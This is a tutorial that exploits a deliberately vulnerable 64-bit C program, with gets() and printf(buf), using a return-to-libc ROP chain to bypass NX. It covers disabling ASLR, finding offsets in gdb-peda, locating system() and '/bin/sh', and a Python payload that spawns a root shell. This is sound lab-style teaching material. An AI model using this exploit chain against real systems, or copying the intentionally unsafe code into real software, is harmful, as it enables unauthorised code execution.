In this article, we’re going to be looking at a simple way of bypassing NX on a 64-bit Kali Linux system. NX (aka DEP) prevents code from executing from stack or heap memory.
The primary difference between doing this on a 64-bit system, as opposed to a 32-bit system is called functions will require their parameters to be populated in registers, instead of being placed on the stack.
The below sample code will be exploited;
#include <string.h>
#include <unistd.h>
#include <stdio.h>
int main (int argc, char **argv){
char buf [40];
gets(buf);
printf(buf);
}
Compile with:
gcc -no-pie -fno-stack-protector nx_bypass.c -o nx_bypass
Disable ASLR:
echo 0 > /proc/sys/kernel/randomize_va_space
Analysing the Crash
Let’s start by determining which offsets overwrites interesting registers:
root@kali:~/ROP# gdb -q ./nx_bypass
Reading symbols from ./nx_bypass...
(No debugging symbols found in ./nx_bypass)
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$ pattern create 500 pattern.txt
Writing pattern of 500 chars to filename "pattern.txt"
gdb-peda$ run < pattern.txt
Starting program: /root/ROP/nx_bypass < pattern.txt
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x0
RDX: 0x0
RSI: 0x0
RDI: 0x1ff
RBP: 0x4147414131414162 ('bAA1AAGA')
RSP: 0x7fffffffe0f8 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G"...)
RIP: 0x401169 (<main+55>: ret)
R8 : 0x1fff
R9 : 0xffffffff
R10: 0x7fffffffd028 --> 0x7fffffffd01c --> 0x1000f7fa9a00
R11: 0x6
R12: 0x401050 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe1d0 ("%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3"...)
R14: 0x0
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x40115e <main+44>: call 0x401030 <printf@plt>
0x401163 <main+49>: mov eax,0x0
0x401168 <main+54>: leave
=> 0x401169 <main+55>: ret
0x40116a: nop WORD PTR [rax+rax*1+0x0]
0x401170 <__libc_csu_init>: push r15
0x401172 <__libc_csu_init+2>: lea r15,[rip+0x2c97] # 0x403e10
0x401179 <__libc_csu_init+9>: push r14
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe0f8 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G"...)
0008| 0x7fffffffe100 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%"...)
0016| 0x7fffffffe108 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A"...)
0024| 0x7fffffffe110 ("AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4"...)
0032| 0x7fffffffe118 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%"...)
0040| 0x7fffffffe120 ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA"...)
0048| 0x7fffffffe128 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%h"...)
0056| 0x7fffffffe130 ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000401169 in main ()
gdb-peda$ pattern search
Registers contain pattern buffer:
RBP+0 found at offset: 48
R9+52 found at offset: 69
Registers point to pattern buffer:
[RSP] --> offset 56 - size ~203
[R13] --> offset 272 - size ~203
We can see the RBP (stack base pointer) register is overwritten after 48 bytes. On 64-bit systems, the instruction pointer (RIP) will only be overwritten if the address it points to is valid. As such, our random pattern will not overwrite it. However, we know RIP will be 8 bytes from RBP, so the correct offset is 56.
Locating Useful Gadgets
We’re going to go attempt to execute the system function from libc. Let’s find the addresses of the “system” function, in addition to a string reference to “/bin/sh”
gdb-peda$ p system
$1 = {int (const char *)} 0x7ffff7e36ff0 <__libc_system>
gdb-peda$ find /bin/sh
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7ffff7f73cee --> 0x68732f6e69622f ('/bin/sh')
Finally, as previously discussed we need need to ensure the function (in this case “system”) is loaded into the RDI register. Using the “ropper” application, we can find a suitable instruction in the binary:
ropper --file ./nx_bypass --search "pop rdi; ret"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi; ret
[INFO] File: ./nx_bypass
0x00000000004011cb: pop rdi; ret;
The Exploit
With the necessary information collected, we can now write the exploit:
from struct import *
buf = ""
buf += "A"*56
buf += pack("<Q", 0x00000000004011cb) # pop rdi; ret;
buf += pack("<Q", 0x7ffff7f73cee) # pointer to "/bin/sh"
buf += pack("<Q", 0x7ffff7e36ff0) # address of system()
f = open("payload.txt", "w")
f.write(buf)
We can now run the payload to achieve command execution:
(cat payload.txt; cat) | ./nx_bypass
id
uid=0(root) gid=0(root) groups=0(root)
The use of “cat” command twice is necessary to prevent the application from exiting before user input is accepted.